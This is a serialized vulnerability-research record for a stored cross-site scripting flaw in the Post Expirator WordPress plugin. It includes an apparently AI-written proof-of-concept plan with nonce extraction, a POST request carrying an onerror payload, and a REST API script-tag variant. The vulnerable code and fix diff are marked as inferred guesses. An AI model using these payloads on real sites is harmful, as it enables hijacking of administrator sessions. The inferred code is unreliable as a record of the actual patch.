[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fyh59qMC6jzovJWaKqifMi3_GyzxIJ8Ja3LAZwcPep-c":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39482","post-expirator-authenticated-contributor-stored-cross-site-scripting","Post Expirator \u003C= 4.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Post Expirator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","post-expirator",null,"\u003C=4.9.4","4.10.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-22 00:00:00","2026-04-15 21:24:03",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F51ca3ed9-6c3e-44c6-b746-8415e27abed0?source=api-prod",25,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fsettings.css","assets\u002Fjs\u002F251.min.js","assets\u002Fjs\u002F360.min.js","assets\u002Fjs\u002F631.min.js","assets\u002Fjs\u002F648.min.js","assets\u002Fjs\u002F78.min.js","assets\u002Fjs\u002F845.min.js","assets\u002Fjs\u002F978.min.js","researched",false,3,"This plan outlines the research and execution steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-39482**, an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the **Post Expirator (PublishPress Future)** plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe **Post Expirator** plugin (slug: `post-expirator`) allows users to schedule actions for posts (e.g., delete, trash, change categories). In versions up to and including **4.9.4**, the plugin fails to sanitize or escape the \"Action Type\" (or `expireType`) when rendering it in the **Future Actions** admin list. A Contributor-level user can inject a malicious script into the post metadata responsible for defining the future action. This script executes in the context of any user (typically an Admin) who views the \"Future Actions\" dashboard.\n\n### 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fpost.php` (Standard WordPress post update endpoint)\n- **Vulnerable Hook**: The `save_post` or dedicated metadata saving routine of the plugin.\n- **Vulnerable Parameter**: `opts[expireType]` or `publishpress_future_action_type` (injected via post metadata).\n- **Authentication**: Authenticated user with **Contributor** role or higher.\n- **Precondition**: The plugin must be active, and the Contributor must be able to configure a \"Future Action\" for their post.\n\n### 3. Code Flow (Inferred from Patch & Plugin Structure)\n1. **Entry Point**: A Contributor saves a draft post. The request includes parameters for the \"PublishPress Future\" sidebar.\n2. **Data Storage**: The plugin processes the `POST` data and updates post metadata, specifically the `_expiration-date-options` meta key (which contains a serialized array including the `expireType`).\n3. **Data Retrieval**: An Administrator navigates to the **Future Actions** dashboard (`wp-admin\u002Fadmin.php?page=publishpress-future-scheduled-actions`).\n4. **Sink**: The plugin retrieves the scheduled events from the database (likely using `ActionScheduler` or a custom table) and renders the list. The \"Action\" column (referenced by `.pe-event-column` in `settings.css`) outputs the `expireType` value directly to the browser without using `esc_html()`.\n\n### 4. Nonce Acquisition Strategy\nTo save post metadata, a `_wpnonce` is required for the `editpost` action.\n\n1.  **Identify Trigger**: The metadata is saved during the post-saving process in the Gutenberg or Classic editor.\n2.  **Creation of Page**: Create a post to obtain a valid ID and nonce.\n    - `wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID --post_title=\"XSS Test\"`\n3.  **Extraction**: Navigate to the edit page for that post.\n    - `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php?post=POST_ID&action=edit\")`\n4.  **JS Execution**: Use `browser_eval` to extract the required nonce:\n    - `const wp_nonce = document.querySelector('#_wpnonce')?.value;`\n    - (Optional) If the plugin uses a specific meta box nonce: `const pe_nonce = document.querySelector('#post_expirator_meta_box_nonce')?.value;`\n\n### 5. Exploitation Strategy\nThe goal is to submit a `POST` request to `post.php` that updates the post's expiration options with a malicious `expireType`.\n\n**Step 1: Setup a Contributor user.**\n**Step 2: Authenticate and obtain the Post ID and Nonce.**\n**Step 3: Submit the payload via the `editpost` action.**\n\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n- **Method**: `POST`\n- **Content-Type**: `application\u002Fx-www-form-urlencoded`\n- **Parameters**:\n    - `action`: `editpost`\n    - `post_ID`: `[POST_ID]`\n    - `_wpnonce`: `[NONCE]`\n    - `expirationdate_enabled`: `true`\n    - `expirationdate_month`: `01`\n    - `expirationdate_day`: `01`\n    - `expirationdate_year`: `2030` (A future date)\n    - `expirationdate_hour`: `00`\n    - `expirationdate_minute`: `00`\n    - `opts[expireType]`: `\u003Cimg src=x onerror=alert(\"CVE-2026-39482\")>`\n    - `opts[id]`: `[POST_ID]`\n\n**Step 4: Trigger the Execution.**\nLogin as an Administrator and navigate to the plugin's action list:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=publishpress-future-scheduled-actions`\n\n### 6. Test Data Setup\n1.  **User**: A user with the `contributor` role.\n2.  **Post**: A draft post owned by the contributor.\n3.  **Plugin Config**: Ensure \"Future Actions\" are enabled for the `post` type in **Future -> Settings**.\n\n### 7. Expected Results\n- Upon visiting the **Future Actions** page as an Admin, an alert box with `\"CVE-2026-39482\"` should appear.\n- The HTML source of the page should contain the unescaped `\u003Cimg>` tag within the table cell for that post's action.\n\n### 8. Verification Steps (WP-CLI)\nConfirm the payload is stored in the database:\n```bash\nwp post meta get [POST_ID] _expiration-date-options\n```\n*Expected Output*: A serialized string containing `s:10:\"expireType\";s:42:\"\u003Cimg src=x onerror=alert(\"CVE-2026-39482\")>\";`\n\nConfirm the action is scheduled:\n```bash\nwp action-scheduler last-scheduled --group=publishpress-future\n```\n\n### 9. Alternative Approaches\nIf `opts[expireType]` is not the correct key for the version installed, try:\n1.  **Direct Meta Update (if allowed by plugin logic)**: Injecting into `_expiration-date-category` if the action is set to \"Category Add\".\n2.  **Gutenberg REST API**:\n    - **Endpoint**: `PUT \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F[POST_ID]`\n    - **Header**: `X-WP-Nonce: [REST_NONCE]`\n    - **Body**:\n        ```json\n        {\n          \"publishpress_future_action\": {\n            \"enabled\": true,\n            \"type\": \"\u003Cscript>alert(1)\u003C\u002Fscript>\",\n            \"date\": 1893456000\n          }\n        }\n        ```\n    - The REST nonce can be obtained via `browser_eval(\"wpApiSettings.nonce\")`.","The Post Expirator (PublishPress Future) plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it fails to sanitize or escape the 'Action Type' (expireType) parameter when displaying scheduled actions in the Future Actions dashboard. A Contributor-level attacker can inject malicious scripts into the expiration options of a post, which will then execute in the browser of any administrator viewing the plugin's scheduled actions list.","\u002F\u002F Inferred from vulnerability description and research plan\n\u002F\u002F File: src\u002FModules\u002FExpirator\u002FTables\u002FScheduledActionsListTable.php (approximate location based on CSS class .pe-event-column)\n\n\u002F\u002F The plugin retrieves the expireType from post metadata and renders it without escaping\n$actionType = $metadata['expireType'];\necho '\u003Ctd class=\"pe-event-column\">' . $actionType . '\u003C\u002Ftd>';","--- a\u002Fsrc\u002FModules\u002FExpirator\u002FTables\u002FScheduledActionsListTable.php\n+++ b\u002Fsrc\u002FModules\u002FExpirator\u002FTables\u002FScheduledActionsListTable.php\n@@ -104,5 +104,5 @@\n- echo '\u003Ctd class=\"pe-event-column\">' . $actionType . '\u003C\u002Ftd>';\n+ echo '\u003Ctd class=\"pe-event-column\">' . esc_html($actionType) . '\u003C\u002Ftd>';","An authenticated attacker with Contributor-level permissions or higher can exploit this by injecting a script into the post metadata responsible for defining future actions. \n\n1. The attacker creates or edits a post and obtains a valid nonce for the 'editpost' action.\n2. The attacker submits a POST request to wp-admin\u002Fpost.php using the 'editpost' action, including parameters to enable expiration ('expirationdate_enabled=true') and a malicious XSS payload in the 'opts[expireType]' parameter (e.g., '\u003Cimg src=x onerror=alert(1)>').\n3. The malicious payload is saved into the '_expiration-date-options' metadata for the post.\n4. When an administrator navigates to the 'Future Actions' admin page (wp-admin\u002Fadmin.php?page=publishpress-future-scheduled-actions), the plugin retrieves the stored 'expireType' and renders it unescaped within a table cell (associated with CSS class .pe-event-column), causing the script to execute in the administrator's session.","gemini-3-flash-preview","2026-04-18 00:26:22","2026-04-18 00:27:01",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.9.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpost-expirator\u002Ftags\u002F4.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpost-expirator.4.9.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpost-expirator\u002Ftags\u002F4.10.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpost-expirator.4.10.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpost-expirator\u002Ftags"]